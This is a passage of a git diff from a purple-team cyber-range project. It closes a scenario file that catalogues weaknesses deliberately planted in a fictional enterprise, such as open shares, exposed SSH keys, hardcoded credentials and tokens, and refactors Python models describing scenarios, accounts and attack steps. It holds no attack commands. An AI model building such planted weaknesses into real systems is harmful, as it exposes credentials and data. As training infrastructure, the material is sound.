over-privileged-accounts: + name: "Over-Privileged Accounts" + description: "Service accounts with unnecessary Domain Admin privileges" + technical: false + class: CWE-250 + + weak-db-credentials: + name: "Weak Database Credentials" + description: "PostgreSQL using predictable application password" + technical: false + class: CWE-521 + + exposed-pii: + name: "Exposed PII in Database" + description: "Customer PII stored without encryption or access controls" + technical: false + class: CWE-312 + + open-shares: + name: "Open Network Shares" + description: "Samba shares accessible without authentication" + technical: false + class: CWE-732 + + hardcoded-credentials: + name: "Hardcoded Credentials in Shares" + description: "Plaintext credentials in configuration files on shares" + technical: false + class: CWE-798 + + exposed-ssh-keys: + name: "Exposed SSH Keys" + description: "Private SSH keys found in shared directories" + technical: true + class: CWE-798 + + bash-history-creds: + name: "Credentials in Bash History" + description: "Passwords visible in .bash_history files" + technical: false + class: CWE-312 + + exposed-ssh-keys-ws: + name: "Exposed SSH Keys (Workstation)" + description: "Private SSH keys in workstation home directory" + technical: true + class: CWE-798 + + git-tokens: + name: "Git Tokens in Config" + description: "Personal access tokens in .gitconfig" + technical: false + class: CWE-798 + +# --------------------------------------------------------------------------- +# Entities: exercise participants +# --------------------------------------------------------------------------- +entities: + white-team: + name: "Exercise Control" + role: White + mission: "Manage exercise lifecycle and scoring" + + red-team: + name: "Red Team" + role: Red + mission: "Penetrate TechVault enterprise infrastructure" + entities: + kali-operator: + name: "Kali Operator" + + blue-team: + name: "Blue Team" + role: Blue + mission: "Detect, investigate, and respond to attacks" + entities: + soc-analyst: + name: "SOC Analyst" + incident-responder: + name: "Incident Responder" diff --git a/src/aptl/core/scenarios.py b/src/aptl/core/scenarios.py index 26614831e..1b2d443a2 100644 --- a/src/aptl/core/scenarios.py +++ b/src/aptl/core/scenarios.py @@ -1,518 +1,40 @@ """Scenario definition models, loading, and validation. -Provides Pydantic v2 models for scenario YAML files, YAML loading with -error wrapping, scenario discovery, and container requirement validation. -""" - -import re -from enum import Enum -from pathlib import Path -from typing import Any, Optional - -import yaml -from pydantic import BaseModel, ConfigDict, Field, field_validator, model_validator - -from aptl.core.config import AptlConfig -from aptl.core.detection import ExpectedDetection -from aptl.utils.logging import get_logger - -log = get_logger("scenarios") - -_SLUG_PATTERN = re.compile(r"^[a-z0-9]+(?:-[a-z0-9]+)*$") - - -# --------------------------------------------------------------------------- -# Exceptions -# --------------------------------------------------------------------------- - - -class ScenarioError(Exception): - """Base exception for all scenario operations.""" - - -class ScenarioNotFoundError(ScenarioError): - """A scenario file or ID could not be found.""" - - def __init__(self, identifier: str) -> None: - self.identifier = identifier - super().__init__(f"Scenario not found: {identifier}") - - -class ScenarioValidationError(ScenarioError): - """A scenario definition failed validation. - - Attributes: - path: The file that failed validation (if applicable). - details: Detailed validation error messages. - """ - - def __init__(self, message: str, path: Optional[Path] = None) -> None: - self.path = path - self.details = message - prefix = f"{path}: " if path else "" - super().__init__(f"{prefix}{message}") - - -class ScenarioStateError(ScenarioError): - """An invalid state transition was attempted. - - Examples: starting a scenario when one is already active, - stopping when none is active. - """ - - -class ObserverError(ScenarioError): - """The Wazuh observation bus encountered an error. - - Wraps network errors, authentication failures, and query - syntax errors from the Wazuh Indexer API. - """ - - -# --------------------------------------------------------------------------- -# Enums -# --------------------------------------------------------------------------- - - -class Difficulty(str, Enum): - """Scenario difficulty level.""" - - BEGINNER = "beginner" - INTERMEDIATE = "intermediate" - ADVANCED = "advanced" - EXPERT = "expert" - - -class ScenarioMode(str, Enum): - """Which team roles are involved in the scenario.""" - - RED = "red" - BLUE = "blue" - PURPLE = "purple" - - -class PreconditionType(str, Enum): - """Type of precondition action to apply before scenario start.""" - - EXEC = "exec" - FILE = "file" - - -class ObjectiveType(str, Enum): - """How an objective is validated.""" - - MANUAL = "manual" - WAZUH_ALERT = "wazuh_alert" - COMMAND_OUTPUT = "command_output" - FILE_EXISTS = "file_exists" - - -# --------------------------------------------------------------------------- -# Sub-models -# --------------------------------------------------------------------------- - - -class MitreReference(BaseModel): - """MITRE ATT&CK tactic and technique references.""" - - model_config = ConfigDict(extra="forbid") - - tactics: list[str] = [] - techniques: list[str] = [] - - -class ScenarioMetadata(BaseModel): - """Descriptive metadata for a scenario.""" - - model_config = ConfigDict(extra="forbid") - - id: str - name: str - description: str - version: str = "1.0.0" - author: str = "" - difficulty: Difficulty - estimated_minutes: int = Field(gt=0, le=480) - tags: list[str] = [] - mitre_attack: MitreReference = MitreReference() - - @field_validator("id") - @classmethod - def validate_id(cls, v: str) -> str: - """Enforce slug format: lowercase alphanumeric with hyphens.""" - if not _SLUG_PATTERN.match(v): - raise ValueError( - f"Scenario id '{v}' must be a lowercase slug " - "(e.g., 'recon-nmap-scan'). Use only lowercase " - "alphanumeric characters and single hyphens." - ) - return v - - @field_validator("name") - @classmethod - def validate_name(cls, v: str) -> str: - """Ensure name is non-empty.""" - if not v or not v.strip(): - raise ValueError("Scenario name must not be empty") - return v - - @field_validator("description") - @classmethod - def validate_description(cls, v: str) -> str: - """Ensure description is non-empty.""" - if not v or not v.strip(): - raise ValueError("Scenario description must not be empty") - return v - - -class Precondition(BaseModel): - """An action to apply before scenario start.""" - - model_config = ConfigDict(extra="forbid") - - type: PreconditionType - container: str - description: str = "" - command: Optional[str] = None - path: Optional[str] = None - content: Optional[str] = None - - @model_validator(mode="after") - def validate_fields_for_type(self) -> "Precondition": - """Ensure required fields are present for the precondition type.""" - if self.type == PreconditionType.EXEC and not self.command: - raise ValueError("Precondition type 'exec' requires 'command'") - if self.type == PreconditionType.FILE: - if not self.path: - raise ValueError("Precondition type 'file' requires 'path'") - if self.content is None: - raise ValueError("Precondition type 'file' requires 'content'") - return self - - -class ContainerRequirements(BaseModel): - """Which containers must be enabled for this scenario.""" - - model_config = ConfigDict(extra="forbid") - - required: list[str] - - @field_validator("required") - @classmethod - def validate_required(cls, v: list[str]) -> list[str]: - """Ensure at least one container is required.""" - if not v: - raise ValueError("Scenario must require at least one container") - return v - - -class Hint(BaseModel): - """A progressive hint for an objective.""" - - model_config = ConfigDict(extra="forbid") - - level: int = Field(ge=1, le=5) - text: str - point_penalty: int = Field(default=0, ge=0) - - @field_validator("text") - @classmethod - def validate_text(cls, v: str) -> str: - """Ensure hint text is non-empty.""" - if not v or not v.strip(): - raise ValueError("Hint text must not be empty") - return v +This module is a backward-compatibility shim that re-exports all +public names from the new ``aptl.core.sdl`` package. All existing +imports continue to work unchanged. +The canonical source for scenario models is now ``aptl.core.sdl``. +""" -class WazuhAlertValidation(BaseModel): - """Validation config for wazuh_alert objective type.""" - - model_config = ConfigDict(extra="forbid") - - query: dict[str, Any] - min_matches: int = Field(default=1, ge=1) - time_window_seconds: int = Field(default=300, ge=10, le=3600) - - -class CommandOutputValidation(BaseModel): - """Validation config for command_output objective type.""" - - model_config = ConfigDict(extra="forbid") - - container: str - command: str - contains: list[str] = [] - regex: Optional[str] = None - - -class FileExistsValidation(BaseModel): - """Validation config for file_exists objective type.""" - - model_config = ConfigDict(extra="forbid") - - container: str - path: str - contains: Optional[str] = None - - -class Objective(BaseModel): - """A single objective within a scenario.""" - - model_config = ConfigDict(extra="forbid") - - id: str - description: str - type: ObjectiveType - points: int = Field(ge=0, le=1000) - hints: list[Hint] = [] - wazuh_alert: Optional[WazuhAlertValidation] = None - command_output: Optional[CommandOutputValidation] = None - file_exists: Optional[FileExistsValidation] = None - - @field_validator("id") - @classmethod - def validate_id(cls, v: str) -> str: - """Enforce slug format for objective IDs.""" - if not _SLUG_PATTERN.match(v): - raise ValueError( - f"Objective id '{v}' must be a lowercase slug " - "(e.g., 'port-scan')" - ) - return v - - @model_validator(mode="after") - def validate_has_validation_for_type(self) -> "Objective": - """Non-manual objectives must have matching validation config.""" - type_to_field = { - ObjectiveType.WAZUH_ALERT: "wazuh_alert", - ObjectiveType.COMMAND_OUTPUT: "command_output", - ObjectiveType.FILE_EXISTS: "file_exists", - } - if self.type != ObjectiveType.MANUAL: - field_name = type_to_field[self.type] - if getattr(self, field_name) is None: - raise ValueError( - f"Objective type '{self.type.value}' requires " - f"'{field_name}' validation config" - ) - return self - - @model_validator(mode="after") - def validate_hint_levels_unique(self) -> "Objective": - """Hint levels must be unique and sequential starting from 1.""" - if not self.hints: - return self - levels = [h.level for h in self.hints] - if len(levels) != len(set(levels)): - raise ValueError("Hint levels must be unique") - return self - - -class ObjectiveSet(BaseModel): - """Red and blue team objectives for a scenario.""" - - model_config = ConfigDict(extra="forbid") - - red: list[Objective] = [] - blue: list[Objective] = [] - - @model_validator(mode="after") - def validate_unique_ids(self) -> "ObjectiveSet": - """Objective IDs must be unique across red and blue.""" - all_ids = [o.id for o in self.red] + [o.id for o in self.blue] - seen: set[str] = set() - duplicates: set[str] = set() - for obj_id in all_ids: - if obj_id in seen: - duplicates.add(obj_id) - seen.add(obj_id) - if duplicates: - raise ValueError(f"Duplicate objective ids: {duplicates}") - return self - - def all_objectives(self) -> list[Objective]: - """Return all objectives (red + blue) in order.""" - return self.red + self.blue - - -class TimeBonusConfig(BaseModel): - """Configuration for time-based bonus scoring.""" - - model_config = ConfigDict(extra="forbid") - - enabled: bool = False - max_bonus: int = Field(default=0, ge=0) - decay_after_minutes: int = Field(default=10, ge=1) - - -class ScoringConfig(BaseModel): - """Scoring parameters for a scenario.""" - - model_config = ConfigDict(extra="forbid") - - time_bonus: TimeBonusConfig = TimeBonusConfig() - passing_score: int = Field(default=0, ge=0) - max_score: int = Field(default=0, ge=0) - - -class AttackStep(BaseModel): - """A single attack step combining technique info with expected detections.""" - - model_config = ConfigDict(extra="forbid") - - step_number: int = Field(ge=1) - technique_id: str - technique_name: str - tactic: str - description: str - target: str - vulnerability: str = "" - commands: list[str] = [] - prerequisites: list[str] = [] - expected_detections: list[ExpectedDetection] = [] - investigation_hints: list[str] = [] - remediation: list[str] = [] - - -class ScenarioDefinition(BaseModel): - """Complete scenario definition loaded from a YAML file.""" - - model_config = ConfigDict(extra="forbid") - - metadata: ScenarioMetadata - mode: ScenarioMode - containers: ContainerRequirements - preconditions: list[Precondition] = [] - objectives: ObjectiveSet = Field(default_factory=lambda: ObjectiveSet(red=[], blue=[])) - scoring: ScoringConfig = ScoringConfig() - attack_chain: str = "" - steps: list[AttackStep] = [] - defenses: dict | None = None - - @model_validator(mode="after") - def validate_has_content(self) -> "ScenarioDefinition": - """Scenario must have steps or objectives (or both).""" - has_steps = bool(self.steps) - has_objectives = bool(self.objectives.red or self.objectives.blue) - if not has_steps and not has_objectives: - raise ValueError("Scenario must have steps or objectives (or both)") - return self - - @model_validator(mode="after") - def validate_mode_has_objectives(self) -> "ScenarioDefinition": - """Scenario mode must match the objectives provided.""" - has_objectives = bool(self.objectives.red or self.objectives.blue) - if not has_objectives: - return self - if self.mode == ScenarioMode.RED and not self.objectives.red: - raise ValueError("Red mode scenario must have red objectives") - if self.mode == ScenarioMode.BLUE and not self.objectives.blue: - raise ValueError("Blue mode scenario must have blue objectives") - if self.mode == ScenarioMode.PURPLE: - if not self.objectives.red and not self.objectives.blue: - raise ValueError( - "Purple mode scenario must have at least one objective" - ) - return self - - @model_validator(mode="after") - def validate_step_numbers_unique(self) -> "ScenarioDefinition": - """Attack step numbers must be unique.""" - if not self.steps: - return self - numbers = [s.step_number for s in self.steps] - if len(numbers) != len(set(numbers)): - raise ValueError("Attack step numbers must be unique") - return self - - -# --------------------------------------------------------------------------- -# Loading and discovery -# --------------------------------------------------------------------------- - - -def load_scenario(path: Path) -> ScenarioDefinition: - """Load and validate a scenario definition from a YAML file. - - Args: - path: Path to a .yaml scenario file. - - Returns: - Validated ScenarioDefinition. - - Raises: - FileNotFoundError: If the file does not exist. - ScenarioValidationError: If YAML is malformed or fails validation. - """ - if not path.exists(): - raise FileNotFoundError(f"Scenario file not found: {path}") - - raw = path.read_text().strip() - if not raw: - raise ScenarioValidationError("Scenario file is empty", path=path) - - try: - data = yaml.safe_load(raw) - except yaml.YAMLError as e: - raise ScenarioValidationError( - f"Invalid YAML: {e}", path=path - ) from e - - if not isinstance(data, dict): - raise ScenarioValidationError( - "Scenario file must contain a YAML mapping (not a scalar or list)", - path=path, - ) - - try: - scenario = ScenarioDefinition(**data) - except Exception as e: - raise ScenarioValidationError(str(e), path=path) from e - - log.info("Loaded scenario '%s' from %s", scenario.metadata.id, path) - return scenario - - -def find_scenarios(search_dir: Path) -> list[Path]: - """Find all .yaml scenario files in a directory (non-recursive). - - Args: - search_dir: Directory to search. - - Returns: - Sorted list of paths to .yaml files. Empty if directory - does not exist. - """ - if not search_dir.is_dir(): - log.debug("Scenarios directory does not exist: %s", search_dir) - return [] - - paths = sorted(search_dir.glob("*.yaml")) - log.debug("Found %d scenario files in %s", len(paths), search_dir) - return paths - - -def validate_scenario_containers( - scenario: ScenarioDefinition, - config: AptlConfig, -) -> list[str]: - """Check that all containers required by a scenario are enabled. - - Args: - scenario: The scenario to check. - config: Current APTL configuration. - - Returns: - List of required containers that are not enabled. Empty means - all requirements are satisfied. - """ - enabled = set(config.containers.enabled_profiles()) - required = set(scenario.containers.required) - missing = sorted(required - enabled) - if missing: - log.warning( - "Scenario '%s' requires disabled containers: %s", - scenario.metadata.id, - ", ".join(missing), - ) - return missing +from aptl.core.sdl.compat import ( # noqa: F401 + AttackStep, + CommandOutputValidation, + ContainerRequirements, + Difficulty, + ExpectedDetection, + FileExistsValidation, + Hint, + MitreReference, + Objective, + ObjectiveSet, + ObjectiveType, + ObserverError, + Precondition, + PreconditionType, + Scenario, + ScenarioDefinition, + ScenarioError, + ScenarioMetadata, + ScenarioMode, + ScenarioNotFoundError, + ScenarioStateError, + ScenarioValidationError, + ScoringConfig, + SeverityId, + TimeBonusConfig, + WazuhAlertValidation, + find_scenarios, + load_scenario, + validate_scenario_containers, +) diff --git a/src/aptl/core/sdl/__init__.py b/src/aptl/core/sdl/__init__.py new file mode 100644 index 000000000..ae9b5b819 --- /dev/null +++ b/src/aptl/core/sdl/__init__.py @@ -0,0 +1,26 @@ +"""APTL Scenario Description Language (SDL). + +A backend-agnostic scenario specification language ported from the +Open Cyber Range SDL and extended with APTL-specific concepts +(objectives, attack steps, detections, defenses, scoring). + +Public API: + parse_sdl(content) -> Scenario + parse_sdl_file(path) -> Scenario + Scenario — top-level model + SDLParseError — YAML/structural errors + SDLValidationError — semantic validation errors +""" + +from aptl.core.sdl._errors import SDLError, SDLParseError, SDLValidationError +from aptl.core.sdl.parser import parse_sdl, parse_sdl_file +from aptl.core.sdl.scenario import Scenario + +__all__ = [ + "parse_sdl", + "parse_sdl_file", + "Scenario", + "SDLError", + "SDLParseError", + "SDLValidationError", +] diff --git a/src/aptl/core/sdl/_base.py b/src/aptl/core/sdl/_base.py new file mode 100644 index 000000000..d3f9b6448 --- /dev/null +++ b/src/aptl/core/sdl/_base.py @@ -0,0 +1,22 @@ +"""Base model configuration for the SDL package. + +All SDL models inherit from SDLModel, which enforces strict +validation (extra fields forbidden) and populates by field name. +Case-insensitive enum matching is enabled via use_enum_values. +""" + +from pydantic import BaseModel, ConfigDict + + +class SDLModel(BaseModel): + """Base for all SDL Pydantic models.""" + + model_config = ConfigDict( + extra="forbid", + populate_by_name=True, + ) + + +def normalize_enum_value(v: str) -> str: + """Normalize a string for case-insensitive enum matching.""" + return v.lower() if isinstance(v, str) else v diff --git a/src/aptl/core/sdl/_errors.py b/src/aptl/core/sdl/_errors.py new file mode 100644 index 000000000..8ab52b073 --- /dev/null +++ b/src/aptl/core/sdl/_errors.py @@ -0,0 +1,51 @@ +"""SDL error types. + +Provides structured error reporting for parsing and semantic validation. +SDLValidationError collects all issues from a validation pass rather +than failing on the first error. +""" + +from pathlib import Path +from typing import Optional + + +class SDLError(Exception): + """Base exception for all SDL operations.""" + + +class SDLParseError(SDLError): + """YAML parsing or structural validation failed. + + Attributes: + path: The file that failed to parse (if applicable). + details: Detailed error message. + """ + + def __init__(self, message: str, path: Optional[Path] = None) -> None: + self.path = path + self.details = message + prefix = f"{path}: " if path else "" + super().__init__(f"{prefix}{message}") + + +class SDLValidationError(SDLError): + """Semantic validation failed. + + Collects all errors found during a validation pass rather than + failing on the first one. + + Attributes: + errors: List of individual error descriptions. + path: The file that failed validation (if applicable). + """ + + def __init__( + self, errors: list[str], path: Optional[Path] = None + ) -> None: + self.errors = errors + self.path = path + prefix = f"{path}: " if path else "" + count = len(errors) + summary = f"{count} validation error{'s' if count != 1 else ''}" + detail = "\n ".join(errors) + super().__init__(f"{prefix}{summary}:\n {detail}") diff --git a/src/aptl/core/sdl/_source.py b/src/aptl/core/sdl/_source.py new file mode 100644 index 000000000..a0e2ab4a5 --- /dev/null +++ b/src/aptl/core/sdl/_source.py @@ -0,0 +1,25 @@ +"""Shared Source reference type. + +A Source identifies an artifact (VM image, package, template) by +name and version. Supports shorthand (bare string) and longhand +(name + version dict) forms matching OCR SDL conventions. + +The Source is backend-agnostic: it could reference a Docker image, +VM template, OVA, AMI, or any provider-specific artifact. Resolution +is delegated to the deployment backend. +""" + +from pydantic import Field + +from aptl.core.sdl._base import SDLModel + + +class Source(SDLModel): + """Provider-neutral artifact reference. + + Shorthand: ``source: "package-name"`` (version defaults to ``"*"``). + Longhand: ``source: {name: "package-name", version: "1.2.3"}``. + """ + + name: str + version: str = Field(default="*") diff --git a/src/aptl/core/sdl/accounts.py b/src/aptl/core/sdl/accounts.py new file mode 100644 index 000000000..46fa91561 --- /dev/null +++ b/src/aptl/core/sdl/accounts.py @@ -0,0 +1,49 @@ +"""Account models — user accounts within scenario systems. + +Adapted from CyRIS ``add_account``/``modify_account`` and CybORG +agent session definitions. Describes accounts that exist on +scenario nodes — AD users, database users, SSH users, email +accounts — including properties relevant to attack scenarios +(password strength, Kerberos SPNs, group memberships). +""" + +from enum import Enum + +from pydantic import Field, field_validator + +from aptl.core.sdl._base import SDLModel, normalize_enum_value + + +class PasswordStrength(str, Enum): + """How resistant the account password is to cracking.""" + + WEAK = "weak" + MEDIUM = "medium" + STRONG = "strong" + NONE = "none" + + +class Account(SDLModel): + """A user account on a scenario node. + + Distinct from OCR's ``Role`` model: roles map exercise participants + to VM logins for exercise access. Accounts describe the environment + state — what accounts attackers will encounter or exploit. + """ + + username: str + node: str = "" + groups: list[str] = Field(default_factory=list) + password_strength: PasswordStrength = PasswordStrength.MEDIUM + auth_method: str = "password" + description: str = "" + mail: str = "" + spn: str = "" + shell: str = "" + home: str = "" + disabled: bool = False + + @field_validator("password_strength", mode="before") + @classmethod + def normalize_strength(cls, v: str) -> str: + return normalize_enum_value(v) diff --git a/src/aptl/core/sdl/attacks.py b/src/aptl/core/sdl/attacks.py new file mode 100644 index 000000000..a4a488907 --- /dev/null +++ b/src/aptl/core/sdl/attacks.py @@ -0,0 +1,88 @@ +"""Attack models — MITRE ATT&CK-mapped attack steps and detections. + +Ported from the original ``aptl.core.scenarios`` and +``aptl.core.detection`` modules. Provides OCSF-aligned detection +expectations for each attack step. +""" + +from enum import IntEnum +from typing import Optional + +from pydantic import BaseModel, Field + +from aptl.core.sdl._base import SDLModel + + +class SeverityId(IntEnum): + """OCSF severity_id values (0-6 scale).""" + + UNKNOWN = 0 + INFO = 1 + LOW = 2 + MEDIUM = 3 + HIGH = 4 + CRITICAL = 5 + FATAL = 6 + + +class ExpectedDetection(BaseModel): + """An expected detection for an attack step, using OCSF field names.""" + + product_name: str = Field( + description="Detection source, normalized lowercase (e.g. 'wazuh', 'suricata')", + ) + analytic_uid: Optional[str] = Field( + default=None, + description="Rule ID for exact match", + ) + analytic_name: Optional[str] = Field( + default=None, + description="Rule name/group for substring match", + ) + severity_id: SeverityId = Field( + description="OCSF severity (0-6)", + ) + description: str = Field( + description="What the detection should identify", + ) + max_detection_time_seconds: int = Field( + default=60, + description="Max seconds for detection after execution", + ) + + +class MitreReference(SDLModel): + """MITRE ATT&CK tactic and technique references.""" + + tactics: list[str] = Field(default_factory=list) + techniques: list[str] = Field(default_factory=list) + + +class PlatformCommand(SDLModel): + """A platform-specific command variant. + + Adapted from CALDERA's ``platforms.{os}.{shell}.command`` pattern. + The ``cleanup`` field is from Atomic Red Team's ``cleanup_command``. + """ + + shell: str = "sh" + command: str + cleanup: str = "" + + +class AttackStep(SDLModel): + """A single attack step combining technique info with expected detections.""" + + step_number: int = Field(ge=1) + technique_id: str + technique_name: str + tactic: str + description: str + target: str + vulnerability: str = "" + commands: list[str] = Field(default_factory=list) + platform_commands: dict[str, PlatformCommand] = Field(default_factory=dict) + prerequisites: list[str] = Field(default_factory=list) + expected_detections: list[ExpectedDetection] = Field(default_factory=list) + investigation_hints: list[str] = Field(default_factory=list) + remediation: list[str] = Field(default_factory=list) diff --git a/src/aptl/core/sdl/compat.py b/src/aptl/core/sdl/compat.py new file mode 100644 index 000000000..874d7e09e --- /dev/null +++ b/src/aptl/core/sdl/compat.py @@ -0,0 +1,170 @@ +"""Backward compatibility layer for aptl.core.scenarios consumers. + +Provides all names previously exported by ``aptl.core.scenarios`` +so that existing imports continue to work unchanged. The old +``ScenarioDefinition`` becomes a type alias for ``Scenario``. +""" + +import re +from pathlib import Path +from typing import Optional + +import yaml + +from aptl.core.sdl._errors import SDLParseError, SDLValidationError +from aptl.core.sdl.attacks import AttackStep, ExpectedDetection, MitreReference, SeverityId +from aptl.core.sdl.objectives import ( + CommandOutputValidation, + FileExistsValidation, + Hint, + Objective, + ObjectiveSet, + ObjectiveType, + ScoringConfig, + TimeBonusConfig, + WazuhAlertValidation, +) +from aptl.core.sdl.parser import parse_sdl +from aptl.core.sdl.scenario import ( + ContainerRequirements, + Difficulty, + Precondition, + PreconditionType, + Scenario, + ScenarioMetadata, + ScenarioMode, +) + +from aptl.utils.logging import get_logger + +log = get_logger("scenarios") + +# --- Type alias --- +ScenarioDefinition = Scenario + + +# --- Exception aliases --- +class ScenarioError(Exception): + """Base exception for all scenario operations.""" + + +class ScenarioNotFoundError(ScenarioError): + """A scenario file or ID could not be found.""" + + def __init__(self, identifier: str) -> None: + self.identifier = identifier + super().__init__(f"Scenario not found: {identifier}") + + +class ScenarioValidationError(ScenarioError): + """A scenario definition failed validation.""" + + def __init__(self, message: str, path: Optional[Path] = None) -> None: + self.path = path + self.details = message + prefix = f"{path}: " if path else "" + super().__init__(f"{prefix}{message}") + + +class ScenarioStateError(ScenarioError): + """An invalid state transition was attempted.""" + + +class ObserverError(ScenarioError): + """The Wazuh observation bus encountered an error.""" + + +# --- Config loading --- +def _get_config(): + """Lazily import AptlConfig to avoid circular imports.""" + from aptl.core.config import AptlConfig + return AptlConfig + + +# --- Loading functions --- +_SLUG_PATTERN = re.compile(r"^[a-z0-9]+(?:-[a-z0-9]+)*$") + + +def load_scenario(path: Path) -> Scenario: + """Load and validate a scenario definition from a YAML file. + + Drop-in replacement for the original ``scenarios.load_scenario()``. + Accepts both APTL legacy format and OCR SDL format. + + Args: + path: Path to a .yaml scenario file. + + Returns: + Validated Scenario. + + Raises: + FileNotFoundError: If the file does not exist. + ScenarioValidationError: If YAML is malformed or fails validation. + """ + if not path.exists(): + raise FileNotFoundError(f"Scenario file not found: {path}") + + raw = path.read_text().strip() + if not raw: + raise ScenarioValidationError("Scenario file is empty", path=path) + + try: + scenario = parse_sdl(raw, path=path) + except SDLParseError as e: + raise ScenarioValidationError(str(e), path=path) from e + except SDLValidationError as e: + raise ScenarioValidationError(str(e), path=path) from e + + scenario_id = ( + scenario.metadata.id if scenario.metadata else scenario.name + ) + log.info("Loaded scenario '%s' from %s", scenario_id, path) + return scenario + + +def find_scenarios(search_dir: Path) -> list[Path]: + """Find all .yaml scenario files in a directory (non-recursive). + + Args: + search_dir: Directory to search. + + Returns: + Sorted list of paths to .yaml files. + """ + if not search_dir.is_dir(): + log.debug("Scenarios directory does not exist: %s", search_dir) + return [] + + paths = sorted(search_dir.glob("*.yaml")) + log.debug("Found %d scenario files in %s", len(paths), search_dir) + return paths + + +def validate_scenario_containers( + scenario: Scenario, + config: object, +) -> list[str]: + """Check that all containers required by a scenario are enabled. + + Args: + scenario: The scenario to check. + config: Current APTL configuration. + + Returns: + List of required containers that are not enabled. + """ + if scenario.containers is None: + return [] + enabled = set(config.containers.enabled_profiles()) + required = set(scenario.containers.required) + missing = sorted(required - enabled) + if missing: + scenario_id = ( + scenario.metadata.id if scenario.metadata else scenario.name + ) + log.warning( + "Scenario '%s' requires disabled containers: %s", + scenario_id, + ", ".join(missing), + ) + return missing diff --git a/src/aptl/core/sdl/conditions.py b/src/aptl/core/sdl/conditions.py new file mode 100644 index 000000000..637dcae46 --- /dev/null +++ b/src/aptl/core/sdl/conditions.py @@ -0,0 +1,54 @@ +"""Condition models — monitoring checks run on VMs. + +A condition is either command-based (command + interval) or +source-based (a library package). The two forms are mutually +exclusive, enforced by a model validator. +""" + +from typing import Optional + +from pydantic import Field, model_validator + +from aptl.core.sdl._base import SDLModel +from aptl.core.sdl._source import Source + + +class Condition(SDLModel): + """A monitoring check deployed to a VM. + + Either ``command`` + ``interval`` or ``source`` must be set, not both. + """ + + name: str = "" + command: Optional[str] = None + interval: Optional[int] = Field(default=None, ge=1) + timeout: Optional[int] = Field(default=None, ge=1) + retries: Optional[int] = Field(default=None, ge=0) + start_period: Optional[int] = Field(default=None, ge=0) + source: Optional[Source] = None + description: str = "" + environment: list[str] = Field(default_factory=list) + + @model_validator(mode="after") + def validate_command_xor_source(self) -> "Condition": + has_command = self.command is not None + has_interval = self.interval is not None + has_source = self.source is not None + + if has_command and has_source: + raise ValueError( + "Condition cannot have both 'command' and 'source'" + ) + if has_command and not has_interval: + raise ValueError( + "Condition with 'command' requires 'interval'" + ) + if has_interval and not has_command: + raise ValueError( + "Condition with 'interval' requires 'command'" + ) + if not has_command and not has_source: + raise ValueError( + "Condition must have either 'command' + 'interval' or 'source'" + ) + return self diff --git a/src/aptl/core/sdl/content.py b/src/aptl/core/sdl/content.py new file mode 100644 index 000000000..59867a834 --- /dev/null +++ b/src/aptl/core/sdl/content.py @@ -0,0 +1,63 @@ +"""Content models — data placed into scenario systems. + +Adapted from CyRIS ``copy_content`` and ``emulate_traffic_capture`` +patterns. Represents files, datasets (email collections, DB records, +pcap files), and directory structures that exist within scenario +nodes as part of the environment state. + +Examples: phishing lure emails in an Exchange mailbox, synthetic +customer records in a database, planted credentials in shared +directories, CTF flag files. +""" + +from enum import Enum +from typing import Optional + +from pydantic import Field, field_validator + +from aptl.core.sdl._base import SDLModel, normalize_enum_value +from aptl.core.sdl._source import Source + + +class ContentType(str, Enum): + """Kind of content placed into a system.""" + + FILE = "file" + DATASET = "dataset" + DIRECTORY = "directory" + + +class ContentItem(SDLModel): + """A single item within a dataset (e.g., one email, one record).""" + + name: str + tags: list[str] = Field(default_factory=list) + description: str = "" + + +class Content(SDLModel): + """Data or files placed into a scenario node. + + Supports three forms: + - ``file``: A single file at a specific path, optionally with inline text. + - ``dataset``: A collection of related items (emails, records, pcaps) + delivered via a source package or listed as items. + - ``directory``: A directory structure placed at a destination path. + """ + + type: ContentType + description: str = "" + target: str = "" + path: str = "" + destination: str = "" + text: Optional[str] = None + source: Optional[Source] = None + format: str = "" + items: list[ContentItem] = Field(default_factory=list) + sensitive: bool = False + tags: list[str] = Field(default_factory=list) + + @field_validator("type", mode="before") + @classmethod + def normalize_type(cls, v: str) -> str: + return normalize_enum_value(v) diff --git a/src/aptl/core/sdl/defenses.py b/src/aptl/core/sdl/defenses.py new file mode 100644 index 000000000..f39226463 --- /dev/null +++ b/src/aptl/core/sdl/defenses.py @@ -0,0 +1,24 @@ +"""Defense configuration models. + +Provides structured representation for defense configurations +in scenarios. Currently a flexible dict-based model matching +the existing APTL ``defenses`` field; structured subtypes can +be added as the defense modeling matures. +""" + +from typing import Any, Optional + +from aptl.core.sdl._base import SDLModel + + +class DefenseConfig(SDLModel): + """Defense configuration for a scenario. + + Wraps the free-form defense specification used in APTL + scenarios (e.g., automated defenses, detection-only rules, + absent controls). + """ + + automated: list[dict[str, Any]] = [] + detection_only: list[dict[str, Any]] = [] + absent: list[dict[str, Any]] = [] diff --git a/src/aptl/core/sdl/entities.py b/src/aptl/core/sdl/entities.py new file mode 100644 index 000000000..af44a1df4 --- /dev/null +++ b/src/aptl/core/sdl/entities.py @@ -0,0 +1,63 @@ +"""Entity models — organizations, teams, and people. + +Entities form a recursive hierarchy with exercise roles +(White/Green/Red/Blue). Nested entities are referenced via +dot-notation (e.g., ``blue-team.bob``). +""" + +from enum import Enum +from typing import Optional + +from pydantic import Field, field_validator + +from aptl.core.sdl._base import SDLModel, normalize_enum_value + + +class ExerciseRole(str, Enum): + """Role in the exercise.""" + + WHITE = "white" + GREEN = "green" + RED = "red" + BLUE = "blue" + + +class Entity(SDLModel): + """An organizational unit, team, or person in the exercise. + + Entities can nest recursively. Flattened names use dot-notation: + ``blue-team.bob`` refers to the ``bob`` entity nested inside + ``blue-team``. + """ + + name: str = "" + description: str = "" + role: Optional[ExerciseRole] = None + + @field_validator("role", mode="before") + @classmethod + def normalize_role(cls, v): + return normalize_enum_value(v) if v is not None else v + mission: str = "" + categories: list[str] = Field(default_factory=list) + vulnerabilities: list[str] = Field(default_factory=list) + tlos: list[str] = Field(default_factory=list) + events: list[str] = Field(default_factory=list) + entities: dict[str, "Entity"] = Field(default_factory=dict) + + +def flatten_entities( + entities: dict[str, Entity], prefix: str = "" +) -> dict[str, Entity]: + """Flatten a recursive entity hierarchy into dot-notation names. + + Returns a dict mapping ``"parent.child.grandchild"`` to the + leaf Entity objects. + """ + result: dict[str, Entity] = {} + for key, entity in entities.items(): + full_name = f"{prefix}{key}" if not prefix else f"{prefix}.{key}" + result[full_name] = entity + if entity.entities: + result.update(flatten_entities(entity.entities, full_name)) + return result diff --git a/src/aptl/core/sdl/features.py b/src/aptl/core/sdl/features.py new file mode 100644 index 000000000..08befac03 --- /dev/null +++ 